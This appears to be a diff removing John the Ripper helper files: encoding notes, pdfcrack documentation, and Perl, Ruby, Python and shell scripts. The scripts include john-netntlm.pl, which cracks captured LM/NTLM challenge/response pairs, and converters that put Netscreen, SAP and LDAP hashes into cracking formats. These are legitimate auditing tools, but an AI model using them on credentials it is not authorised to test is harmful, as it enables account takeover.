- Beware of UTF-8 BOM's. Do not use them (they will cripple the first word
|
||||
in your wordlist, that's all).
|
||||
|
||||
--
|
||||
|
||||
These contributions to John are hereby placed in the public domain. In
|
||||
case that is not applicable, they are Copyright 2009, 2010, 2011 by me and
|
||||
hereby released to the general public. Redistribution and use in source
|
||||
and binary forms, with or without modification, is permitted.
|
||||
|
||||
magnum
|
||||
|
|
@ -1,71 +0,0 @@
|
|||
These are "public" functions that can be used for supporting UTF-8 in your
|
||||
own formats for JtR. All are put in unicode.c.
|
||||
|
||||
If you are not aware of UCS-2, just consider it a synonym to UTF-16. For our
|
||||
purposes, they are the same.
|
||||
|
||||
|
||||
Convert from ISO-8859-1 or UTF-8 to UTF-16LE:
|
||||
=============================================
|
||||
Source format depends on --utf8 flag given to john when running.
|
||||
If length is exceeded or malformed data is found, it will return a negative
|
||||
number telling you how much of the source that was read. That is, a return
|
||||
code of -32 means you have an UNKNOWN number of characters of UCS-2 [use
|
||||
strlen16()] in the destination buffer and you should truncate your
|
||||
"saved_plain" (if applicable) at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int plaintowcs(UTF16 *dst, int maxdstlen, const UTF8 *src, int srclen);
|
||||
|
||||
|
||||
|
||||
Convert UTF-8 to UTF-16LE:
|
||||
==========================
|
||||
Always from UTF-8. This is optimised for speed. If length is exceeded or
|
||||
malformed data is found, it will return a negative number telling you how much
|
||||
of the source that was read. That is, a return code of -32 means you have an
|
||||
UNKNOWN number of characters of UCS-2 [use strlen16()] in the destination
|
||||
buffer and you should truncate your "saved_plain" at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int utf8towcs(UTF16 *target, int maxtargetlen,
|
||||
const UTF8 *source, int sourcelen);
|
||||
|
||||
|
||||
|
||||
Convert UTF-16LE to UTF-8:
|
||||
==========================
|
||||
Currently used in NT_fmt.c in order to avoid using a saved_plain buffer.
|
||||
|
||||
#include "unicode.h"
|
||||
extern char * utf16toutf8 (const UTF16* source);
|
||||
|
||||
|
||||
|
||||
Return length (in characters) of a UTF16 string:
|
||||
================================================
|
||||
Number of octets is the result * sizeof(UTF16)
|
||||
|
||||
#include "unicode.h"
|
||||
int strlen16(const UTF16 *str);
|
||||
|
||||
|
||||
|
||||
Create an NT hash:
|
||||
==================
|
||||
This will convert from ISO-8859 or UTF-8 depending on the --utf8 option. The
|
||||
function will use Alain's fast NT hashing if length is <= 27 characters,
|
||||
otherwise it will use Solar's MD4. Lengths up to MAX_PLAINTEXT_LENGTH is thus
|
||||
supported with no hassle for you. If length is exceeded or malformed data is
|
||||
found, it will return a negative number telling you how much of the source
|
||||
that was read. That is, a return code of -32 means you should truncate your
|
||||
"saved_plain" at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int E_md4hash(const UTF8 *passwd, int len, unsigned char *p16);
|
||||
|
||||
|
||||
|
||||
NOTE that there are more functions available in ConvertUTF.c.original
|
||||
(ConvertUTF.h.original) and if we need any of them, we should copy them to
|
||||
unicode.c/h and simplify/optimize them.
|
||||
|
|
@ -1,48 +0,0 @@
|
|||
Code and documentation are copyright 2006-2008 Henning Norén
|
||||
|
||||
Parts of pdfcrack.c and md5.c is derived/copied/inspired from
|
||||
xpdf/poppler and are copyright 1995-2006 Glyph & Cog, LLC.
|
||||
|
||||
The PDF data structures, operators, and specification are
|
||||
copyright 1985-2006 Adobe Systems Inc.
|
||||
|
||||
|
||||
Project page: http://sourceforge.net/projects/pdfcrack/
|
||||
|
||||
|
||||
pdfcrack is a simple tool for recovering passwords from pdf-documents.
|
||||
It should be able to handle all pdfs that uses the standard security handler
|
||||
but the pdf-parsing routines are a bit of a quick hack so you might stumble
|
||||
across some pdfs where the parser needs to be fixed to handle.
|
||||
|
||||
Type 'make' (or 'gmake' if you have BSD-make as default) to build the program.
|
||||
You will need to have GNU Make and a recent version of GCC installed but there
|
||||
are no external dependencies on libraries.
|
||||
You will have to add the -march-switch in the CFLAGS-option in Makefile
|
||||
for best optimization on your platform. Look into the GCC-manual
|
||||
(http://gcc.gnu.org/onlinedocs/) if you are unsure.
|
||||
|
||||
The program is distributed under GPL version 2 (or later).
|
||||
|
||||
Features available in this release (check TODO for features that might come):
|
||||
* Both owner- and user-passwords with the Standard Security Handler, rev 2 & 3.
|
||||
* Search by wordlist
|
||||
* Search by bruteforcing with specific charset
|
||||
* Optimized search for owner-password when user-password is known (or empty)
|
||||
* Extremely simple permutations of passwords (makes first letter uppercase)
|
||||
|
||||
- currently only useful for bruteforcing with charsets:
|
||||
* Auto-save when interrupted (Ctrl-C or send SIGINT to the process)
|
||||
* Loading saved state
|
||||
|
||||
- currently only for bruteforcing with charsets:
|
||||
* Minimum length of password to start at
|
||||
* Maximum length of password to try
|
||||
|
||||
|
||||
Sort your wordlist by length for best performance and consider that almost
|
||||
all passwords in PDFs are in iso latin 1 so use the correct character encoding
|
||||
in your terminal and/or wordlist when using special characters.
|
||||
|
||||
This tool can not decrypt a Password Protected PDF.
|
||||
Look up the pdftk toolkit which can do that, when you know the password.
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
Replace pdfparser with a more robust and complete parsing of a PDF
|
||||
|
||||
Optimize the crack and crypto-routines for greater performance
|
||||
|
||||
Add support for third-party security handlers
|
||||
|
||||
Add real permutation-support. Maybe John the Ripper could be a
|
||||
source of inspiration?
|
||||
|
||||
Add support for masked passwords, when we already knows parts of the password
|
||||
|
||||
|
||||
Furthermore:
|
||||
|
||||
Replace pdfparser with a complete representation of the structure of a
|
||||
PDF-file that can be used to find information and more importantly, can be
|
||||
written out again to a file.
|
||||
For this we need to understand/represent objects (indirect and direct), the
|
||||
file structure (lineraized and standard) and xreftables with trailers.
|
||||
We need to be able to update/fix the xreftables when writing it.
|
||||
We also need support for LZM-compression that is used for many streams.
|
||||
|
||||
When the above item is done there is nothing stopping us from adding complete
|
||||
RC4-keyspace search and decrypt without having to bother cracking the
|
||||
passwords. An example of this search can be viewed at:
|
||||
http://www.upl.cs.wisc.edu/~hamblin/files/rc4_single_brute.c
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,78 +0,0 @@
|
|||
#!/usr/bin/ruby -w
|
||||
|
||||
require 'getoptlong'
|
||||
|
||||
def help
|
||||
puts "Usage: #{$0} [options]"
|
||||
puts "\t-h --help\t\tthis help."
|
||||
puts "\t-f --file\t\toutput file."
|
||||
puts "\t-n --num\t\tcharset: 0123456789"
|
||||
puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz"
|
||||
puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
puts "\t-l --alphanum\t\tcharset: alpha + num"
|
||||
puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num"
|
||||
puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*"
|
||||
puts "\t-c --custom"
|
||||
puts "\nExample:\n"
|
||||
puts "#{$0} -f stats -s"
|
||||
puts "#{$0} -f stats -c \"0123abc+=\""
|
||||
exit
|
||||
end
|
||||
|
||||
ch_alpha = 'abcdefghijklmnopqrstuvwxyz'
|
||||
ch_num = '0123456789'
|
||||
ch_sp = '!@#$+=.*'
|
||||
|
||||
opts = GetoptLong.new(
|
||||
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT],
|
||||
[ '--all', '-s', GetoptLong::NO_ARGUMENT],
|
||||
[ '--num', '-n', GetoptLong::NO_ARGUMENT],
|
||||
[ '--alpha', '-a', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ]
|
||||
)
|
||||
|
||||
charset = nil
|
||||
filename = "stats_out"
|
||||
|
||||
opts.each do |opt, arg|
|
||||
case opt
|
||||
when '--help'
|
||||
help
|
||||
when '--file'
|
||||
filename = arg
|
||||
when '--num'
|
||||
charset = ch_num
|
||||
when '--alpha'
|
||||
charset = ch_alpha
|
||||
when '--alphamaj'
|
||||
charset = ch_alpha.capitalize
|
||||
when '--alphanum'
|
||||
charset = ch_alpha + ch_num
|
||||
when '--alphanummaj'
|
||||
charset = ch_alpha.capitalize + ch_num
|
||||
when '--all'
|
||||
charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp
|
||||
when '--custom'
|
||||
charset = arg
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if charset == nil
|
||||
help
|
||||
end
|
||||
|
||||
|
||||
fstat = File.open(filename, "w")
|
||||
charset.each_byte do |c|
|
||||
fstat.write("1=proba1[#{c.to_s}]\n")
|
||||
charset.each_byte do |tmp|
|
||||
fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n")
|
||||
end
|
||||
end
|
||||
fstat.close
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,25 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
$i=1;
|
||||
|
||||
while(<>) {
|
||||
chomp;
|
||||
if(/^$/) {
|
||||
if($object{"uid"} ne "") {
|
||||
print $object{"uid"}.":";
|
||||
print $object{"userPassword"} ne "" ? $object{"userPassword"} : "*";
|
||||
print ":";
|
||||
print $i.":";
|
||||
print $i.":";
|
||||
print $object{"cn"}.":";
|
||||
print $object{"homeDirectory"} ne "" ? $object{"homeDirectory"} : "/";
|
||||
print ":/bin/sh\n";
|
||||
}
|
||||
%object = ();
|
||||
$i++;
|
||||
next;
|
||||
}
|
||||
|
||||
($lhs, $rhs) = split(/: /);
|
||||
$object{$lhs} = $rhs;
|
||||
}
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
#!/bin/sh
|
||||
#
|
||||
# This file is part of John the Ripper password cracker,
|
||||
# Copyright (c) 1996-98 by Solar Designer
|
||||
#
|
||||
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage: $0 PASSWORD-FILE"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# There's no need to mail users with these shells
|
||||
SHELLS=-,/bin/false,/dev/null,/bin/sync
|
||||
|
||||
# Look for John in the same directory with this script
|
||||
DIR="`echo "$0" | sed 's,/[^/]*$,,'`"
|
||||
|
||||
# Let's start
|
||||
$DIR/john -show "$1" -shells:$SHELLS | sed -n 's/:.*//p' |
|
||||
(
|
||||
SENT=0
|
||||
|
||||
while read LOGIN; do
|
||||
echo Sending mail to "$LOGIN"...
|
||||
|
||||
# You'll probably want to edit the message below
|
||||
mail -s 'Bad password' "$LOGIN" << EOF
|
||||
Hello!
|
||||
|
||||
Your password for account "$LOGIN" is insecure. Please change it as soon
|
||||
as possible.
|
||||
|
||||
Yours,
|
||||
Password Checking Robot.
|
||||
EOF
|
||||
|
||||
SENT=$(($SENT+1))
|
||||
done
|
||||
|
||||
echo $SENT messages sent
|
||||
)
|
||||
Binary file not shown.
|
|
@ -1,262 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
#
|
||||
#####################################################################
|
||||
#
|
||||
# Written by JoMo-Kun <jmk at foofus.net> in 2007
|
||||
# and placed in the public domain.
|
||||
#
|
||||
# The purpose of this script is to aid with cracking a LM/NTLM
|
||||
# challenge/response set, when part of the password is known. It
|
||||
# was written with John's NetLM/NetNTLM formats and "halflmchall"
|
||||
# Rainbow Tables in mind.
|
||||
#
|
||||
# Example Scenario:
|
||||
# Let's assume you've captured LM/NTLM challenge/response set for
|
||||
# the password Cricket88!. You may be able to crack the first part
|
||||
# (i.e. CRICKET) using "Half LM" Rainbow Tables. This script will
|
||||
# use that value as a seed and attempt to crack the second part
|
||||
# (i.e. "88!") via an incremental brute. It'll then use the NetNTLM
|
||||
# response hash to crack the case-sensitive version of the entire
|
||||
# password.
|
||||
#
|
||||
#####################################################################
|
||||
|
||||
use Getopt::Long;
|
||||
|
||||
my $VERSION = "0.2";
|
||||
my %opt;
|
||||
my %data;
|
||||
|
||||
my $JOHN = "john";
|
||||
|
||||
GetOptions (
|
||||
'seed=s' => \$opt{'seed'},
|
||||
'file=s' => \$opt{'file'},
|
||||
'help|h' => sub { ShowUsage(); },
|
||||
);
|
||||
|
||||
sub showUsage {
|
||||
print "john-netntlm.pl v$VERSION\n\n";
|
||||
print "JoMo-Kun <jmk\@foofus.net>\n\n";
|
||||
print "Usage: $0 [OPTIONS]\n";
|
||||
print " $0\n";
|
||||
print " --seed [RainbowCrack/HalfLM Response Password]\n";
|
||||
print " --file [File Containing LM/NTLM challenge/responses (.lc format)]\n";
|
||||
print " Ex: Domain\\User:::LM response:NTLM response:challenge";
|
||||
print "\n";
|
||||
print " Ex:\n";
|
||||
print " $0 --file capture.lc\n";
|
||||
print " $0 --seed \"GERGE!!\"--file capture.lc\n";
|
||||
print "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
# Main
|
||||
{
|
||||
if ( !defined($opt{'file'}) ) { &showUsage; }
|
||||
|
||||
# Parse accounts to audit
|
||||
open(HAND, $opt{'file'}) || die("Failed to open response file: $opt{'file'} -- $!");
|
||||
@{ $data{'pairs'} } = <HAND>;
|
||||
close(HAND);
|
||||
|
||||
# Load information for any accounts previous cracked
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
|
||||
open (HAND, "$JOHN -format:netlm -show $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
print STDERR "The following LM responses have been previously cracked:\n";
|
||||
while(<HAND>) {
|
||||
next if ( /\d+ password hashes cracked, \d+ left/ );
|
||||
last if /^$/;
|
||||
print "\t$_";
|
||||
push @{ $data{'cracked-lm'} }, $_;
|
||||
}
|
||||
close(HAND);
|
||||
|
||||
print STDERR "\nThe following NTLM responses have been previously cracked:\n";
|
||||
open (HAND, "$JOHN -format:netntlm -show $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) {
|
||||
next if ( /\d+ password hashes cracked, \d+ left/ );
|
||||
last if /^$/;
|
||||
print "\t$_";
|
||||
push @{ $data{'cracked-ntlm'} }, $_;
|
||||
}
|
||||
close(HAND);
|
||||
|
||||
mkdir("/tmp/john.$$") || die;
|
||||
my $tmpconf = &createConf();
|
||||
my $tmpsession = "/tmp/john.$$/john.session";
|
||||
my $tmpsessionlog = "/tmp/john.$$/john.session.log";
|
||||
my $tmplog = "/tmp/john.$$/john.log";
|
||||
#print STDERR "Created temporary configuration file: $tmpconf\n";
|
||||
|
||||
# Crack case-sensitive version of password
|
||||
my $tmpdict = "/tmp/john.$$/john.dict";
|
||||
#print STDERR "Created temporary dictionary file: $tmpdict\n";
|
||||
|
||||
foreach $credential_set ( @{ $data{'cracked-lm'} } ) {
|
||||
my ($account,$lmpass,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set);
|
||||
next if ( grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) );
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Performing NTLM case-sensitive crack for account: $account.\n";
|
||||
|
||||
open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!");
|
||||
print HAND "$lmpass";
|
||||
close(HAND);
|
||||
|
||||
open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -user:\"$account\" -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) { print; }
|
||||
close(HAND);
|
||||
|
||||
unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!");
|
||||
}
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Isolating accounts which have only had their LM response cracked.\n";
|
||||
|
||||
foreach $credential_set ( @{ $data{'pairs'} } ) {
|
||||
$credential_set =~ s/\\/\\\\/g;
|
||||
my ($account,$foo,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set);
|
||||
if (lc($netlm) eq lc($netntlm)) {
|
||||
print STDERR "LM response is not unique from NTLM response (skipping):\n\t$credential_set\n";
|
||||
push @{ $data{'pairs-ntlm'} }, $credential_set;
|
||||
}
|
||||
elsif ( @cracked = grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ) {
|
||||
print STDERR "Account $account NTLM response previously cracked.\n";
|
||||
#print "@cracked";
|
||||
}
|
||||
else {
|
||||
print STDERR "Account $account LM response added to cracking list.\n";
|
||||
push @{ $data{'pairs-lm'} }, $credential_set;
|
||||
}
|
||||
}
|
||||
|
||||
if ( defined($opt{'seed'}) ) {
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Testing seed password to determine whether it is the actual password.\n";
|
||||
open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!");
|
||||
print HAND $opt{'seed'};
|
||||
close(HAND);
|
||||
|
||||
open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) {
|
||||
print;
|
||||
next if (/^guesses: .*time: / || (/^Loaded .* password hash /) || (/^No password hashes loaded/));
|
||||
my ($account) = $_ =~ / \((.*)\)$/;
|
||||
|
||||
# Remove accounts which just cracked from list
|
||||
my $i = 0;
|
||||
foreach $credential_set ( @{ $data{'pairs-lm'} } ) {
|
||||
$account =~ s/\\/_/g;
|
||||
$credential_set =~ s/\\\\/_/g;
|
||||
if ( $credential_set =~ /^$account:/ ) {
|
||||
splice(@{ $data{'pairs-lm'} }, $i, 1);
|
||||
}
|
||||
$i++;
|
||||
}
|
||||
}
|
||||
close(HAND);
|
||||
unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!");
|
||||
|
||||
my $tmppasswd = "/tmp/john.$$/john.passwd";
|
||||
open(HAND, ">$tmppasswd") || die("Failed to open $tmppasswd: $!");
|
||||
print HAND @{ $data{'pairs-lm'} };
|
||||
close(HAND);
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "The hashes contained within $tmppasswd have not been cracked.\n";
|
||||
print STDERR "Executing the following (this could take a while...):\n\n";
|
||||
print STDERR "john -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd\n";
|
||||
print STDERR "\n";
|
||||
print STDERR " *If the passwords successfully crack, use this script again to crack the case-sensitive password\n";
|
||||
print STDERR " without feeding a seed password\n";
|
||||
print STDERR"\n\n";
|
||||
|
||||
system("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd");
|
||||
#exec("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd");
|
||||
|
||||
unlink $tmppasswd || warn("Failed to unlink $tmppasswd -- $!");
|
||||
}
|
||||
else {
|
||||
print STDERR "\nNo seed supplied for testing.\n";
|
||||
}
|
||||
|
||||
#print STDERR "Removing temporary files and directory\n";
|
||||
unlink $tmpconf, $tmplog, $tmpsession, $tmpsessionlog || warn("Failed to unlink temporary config files -- $!");
|
||||
rmdir("/tmp/john.$$") || warn("Failed to delete temporary john directory -- $!");
|
||||
}
|
||||
|
||||
exit(0);
|
||||
|
||||
sub createConf {
|
||||
my $tmpconf = "/tmp/john.$$/john.conf";
|
||||
open(CONF, ">$tmpconf") || die("Failed to open $tmpconf: $!");
|
||||
|
||||
# Define character keyspace
|
||||
print CONF "[Incremental:LM]\n";
|
||||
print CONF "File = \$JOHN/lanman.chr\n";
|
||||
print CONF "MinLen = 1\n";
|
||||
|
||||
# John compiled for MaxLen <= 8
|
||||
if (14 - length($opt{'seed'}) > 8) {
|
||||
print CONF "MaxLen = 8\n";
|
||||
} else {
|
||||
print CONF "MaxLen = ", 14 - length($opt{'seed'}), "\n";
|
||||
}
|
||||
print CONF "CharCount = 69\n\n";
|
||||
|
||||
# Add external filter to handle uncracked characters
|
||||
if ($opt{'seed'} ne "") {
|
||||
my $i; $j;
|
||||
my @seed = split(//, $opt{'seed'});
|
||||
|
||||
print CONF "[List.External:HalfLM]\n";
|
||||
print CONF "void init()\n";
|
||||
print CONF "{\n";
|
||||
print CONF " word[14] = 0;\n";
|
||||
print CONF "}\n\n";
|
||||
|
||||
print CONF "void filter()\n";
|
||||
print CONF "{\n";
|
||||
|
||||
my $len = length($opt{'seed'});
|
||||
for ($i = 13, $j = 13 - $len; $i>=0; $i--) {
|
||||
if ($i >= $len) {
|
||||
print CONF " word[$i] = word[$j];\n";
|
||||
$j--;
|
||||
} else {
|
||||
print CONF " word[$i] = \'$seed[$i]\';\n";
|
||||
}
|
||||
}
|
||||
|
||||
print CONF "}\n\n";
|
||||
}
|
||||
|
||||
# Add custom wordlist to utilize NTLM hash for character case cracking
|
||||
print CONF "[List.Rules:Wordlist]\n";
|
||||
print CONF ":\n";
|
||||
print CONF "-c T0Q\n";
|
||||
print CONF "-c T1QT[z0]\n";
|
||||
print CONF "-c T2QT[z0]T[z1]\n";
|
||||
print CONF "-c T3QT[z0]T[z1]T[z2]\n";
|
||||
print CONF "-c T4QT[z0]T[z1]T[z2]T[z3]\n";
|
||||
print CONF "-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]\n";
|
||||
print CONF "-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]\n";
|
||||
print CONF "-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]\n";
|
||||
print CONF "-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]\n";
|
||||
print CONF "-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]\n";
|
||||
print CONF "-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]\n";
|
||||
print CONF "-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]\n";
|
||||
print CONF "-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]\n";
|
||||
print CONF "-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]\n";
|
||||
|
||||
close(CONF);
|
||||
|
||||
return $tmpconf;
|
||||
}
|
||||
|
|
@ -1,132 +0,0 @@
|
|||
##################################################################
|
||||
# Filename: netscreen.py
|
||||
#
|
||||
# Please note this script will now run in Python version 3.x
|
||||
#
|
||||
# This script will generate a netscreen formatted password
|
||||
#
|
||||
# This program requires two command line arguments, and works in two modes:
|
||||
# Mode 1:
|
||||
# The first argument is a username
|
||||
# The second argument is a plaintext password
|
||||
# Mode 2:
|
||||
# The first argument is -f to indicate reading usernames and passwords from a file
|
||||
# The second argument is the filename to read
|
||||
#
|
||||
# The input file should have one of the following formats (a "," or ":" separator):
|
||||
# <username>,<plain-text-password>
|
||||
# or
|
||||
# <username>:<plain-text-password>
|
||||
#
|
||||
# (Don't put a "space" after the separator, unless it is part of the password)
|
||||
#
|
||||
# Example input file:
|
||||
# admin,netscreen
|
||||
# cisco:cisco
|
||||
# robert,harris
|
||||
#
|
||||
# Output will be the username and hashed password in John the Ripper format
|
||||
# If reading usernames and passwords from a file, the output file name will be: netscreen-JtR-output.txt
|
||||
# If the file netscreen-JtR-output.txt exists, it will be overwritten.
|
||||
#
|
||||
# Version 2.04
|
||||
# Updated on September 13, 2010 by Robert B. Harris from VA and Brad Tilley
|
||||
# Updated to now run in Python v3.x (still works in Python 2.x)
|
||||
# Additional separator for the input file. It can now have the new separator ":" (or use the old one ",")
|
||||
# Now correctly handles a separator ("," or ":") in the password field when reading from a file.
|
||||
# Updated help text in script
|
||||
#
|
||||
# Version 2.01
|
||||
# Updated on August 30, 2010 by Robert B. Harris from VA
|
||||
# Very minor changes, removed tab, noted it won't run in python 3.x
|
||||
#
|
||||
# Version 2.0
|
||||
# Updated on August 12, 2010 by Robert B. Harris from VA
|
||||
# Updated to use the hashlib library
|
||||
# Updated to print help text if both input arguments are missing
|
||||
# Updated to optionally read from a file
|
||||
#
|
||||
##################################################################
|
||||
|
||||
import sys
|
||||
|
||||
def net(user, password):
|
||||
b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
middle = "Administration Tools"
|
||||
s = "%s:%s:%s" % (user, middle, password)
|
||||
|
||||
# For versions of Python 2.5 and older
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 6:
|
||||
import md5
|
||||
m = md5.new(s).digest()
|
||||
else:
|
||||
import hashlib
|
||||
m = hashlib.md5(s.encode('latin_1')).digest()
|
||||
|
||||
narray = []
|
||||
for i in range(8):
|
||||
if sys.version_info[0] == 2:
|
||||
n1 = ord(m[2*i])
|
||||
n2 = ord(m[2*i+1])
|
||||
narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) )
|
||||
|
||||
if sys.version_info[0] == 3:
|
||||
n1 = ord(chr(m[2*i]))
|
||||
n2 = ord(chr(m[2*i+1]))
|
||||
narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) )
|
||||
res = ""
|
||||
for i in narray:
|
||||
p1 = i >> 12 & 0xf
|
||||
p2 = i >> 6 & 0x3f
|
||||
p3 = i & 0x3f
|
||||
res = res + b64[p1] + b64[p2] + b64[p3]
|
||||
|
||||
for c, n in zip("nrcstn", [0, 6, 12, 17, 23, 29]):
|
||||
res = res[:n] + c + res[n:]
|
||||
return res
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) == 3:
|
||||
if (sys.argv[1])== "-f": # If true, reading from a file
|
||||
in_file = (sys.argv[2]) # 2nd commandline arg is the filename to read from
|
||||
input_file = open( in_file, 'r')
|
||||
output_file = open ("netscreen-JtR-output.txt" , 'w')
|
||||
import re
|
||||
for line in input_file:
|
||||
data=line.strip('\n')
|
||||
if re.search(',',line):
|
||||
data=data.split(',',1) # line contains ,
|
||||
else:
|
||||
if re.search(':',line):
|
||||
data=data.split(':',1) # line contains :
|
||||
else:
|
||||
print ("\n\n\n")
|
||||
print ("Error in input file.")
|
||||
print ("The input file must have either a \",\" or \":\" separator on each line.")
|
||||
print ("Also it should not contain any blank lines. Please correct the input file.")
|
||||
break
|
||||
username = data[0]
|
||||
password = data[1]
|
||||
ciphertext = net(username,password)
|
||||
output_file.write ("%s:%s$%s" % (username,username,ciphertext))
|
||||
output_file.write ("\n")
|
||||
input_file.close()
|
||||
print("\nThe output file has been created.")
|
||||
output_file.close()
|
||||
else: # We are not reading from a file
|
||||
username = sys.argv[1]
|
||||
password = sys.argv[2]
|
||||
ciphertext = net(username,password)
|
||||
print(("%s:%s$%s" % (username,username,ciphertext)))
|
||||
else: # User did not input the required two commandline arguments
|
||||
print("\n\n")
|
||||
print("This program requires two commandline arguments:")
|
||||
print("The first argument is a username, or -f to indicate reading from a file.")
|
||||
print("The second argument is a plaintext password, or the name of the file to read from.")
|
||||
print("See the additional text at the beginning of this script for more details.\n")
|
||||
print("Output will be the username and the (Netscreen algorithm based) hashed password, in John the Ripper format. \n\n")
|
||||
print("Example")
|
||||
print("Input: netscreen.py admin netscreen")
|
||||
print("Output: admin:admin$nKv3LvrdAVtOcE5EcsGIpYBtniNbUn")
|
||||
print("(Netscreen uses the username as the salt)")
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1,89 +0,0 @@
|
|||
#!/usr/bin/perl -w
|
||||
# Usage: sap_prepare.pl csv-input sap-codeB-output sap-codevnG-output
|
||||
# csv-input: XLS-exported table USH02 or USR02
|
||||
# tab-speparted e.g. column 4:username column 17:bcode column 24:codvn G
|
||||
# sap-codeB-output: username:username<spaces>$bcode
|
||||
# sap-codevnG-output: username:Username<spaces>$codvnG
|
||||
#
|
||||
# (all other formats with the right column names should work)
|
||||
# sap uses the username as salt. those have different length, so we needed to come up w/ our
|
||||
# own format. that is: username<space-padding-to-40>$HASHCODE
|
||||
#
|
||||
# evil spaghetti code, but works. sorry for the eye cancer ;-)
|
||||
|
||||
$SALT_LENGTH = 40;
|
||||
|
||||
if ($#ARGV != 2) {
|
||||
die ("usage = $0 csv-input sap-codeB-output sap-codevnG-output \n");
|
||||
}
|
||||
|
||||
open INPUT_FILE, "$ARGV[0]" or die ("Can't open input-file ($ARGV[0])\n");
|
||||
open CODEB_FILE,">>$ARGV[1]" or die ("Can't open codeb-file ($ARGV[1])\n");
|
||||
open CODEG_FILE,">>$ARGV[2]" or die ("Can't open codeg-file ($ARGV[2])\n");
|
||||
|
||||
print "data from >>$ARGV[0]<<\nto sap-codeB-output: >>$ARGV[1]<<\n";
|
||||
print "and sap-codevnG-output: >>$ARGV[2]<<\n\n";
|
||||
|
||||
$line = "";
|
||||
$pos_bname=-1;
|
||||
$pos_codeb=-1;
|
||||
$pos_codeg=-1;
|
||||
$count=0;
|
||||
|
||||
until ($line =~ /BNAME/) {
|
||||
$line=<INPUT_FILE>;
|
||||
$count++;
|
||||
}
|
||||
|
||||
chomp($line);
|
||||
@tmp = split(/\t/, $line);
|
||||
|
||||
for ($i=0;$i<=$#tmp;$i++) {
|
||||
if ($tmp[$i]=~ /BNAME/) { $pos_bname=$i }
|
||||
elsif ($tmp[$i]=~ /BCODE/) { $pos_codeb=$i }
|
||||
elsif ($tmp[$i]=~ /PASSCODE/) { $pos_codeg=$i }
|
||||
}
|
||||
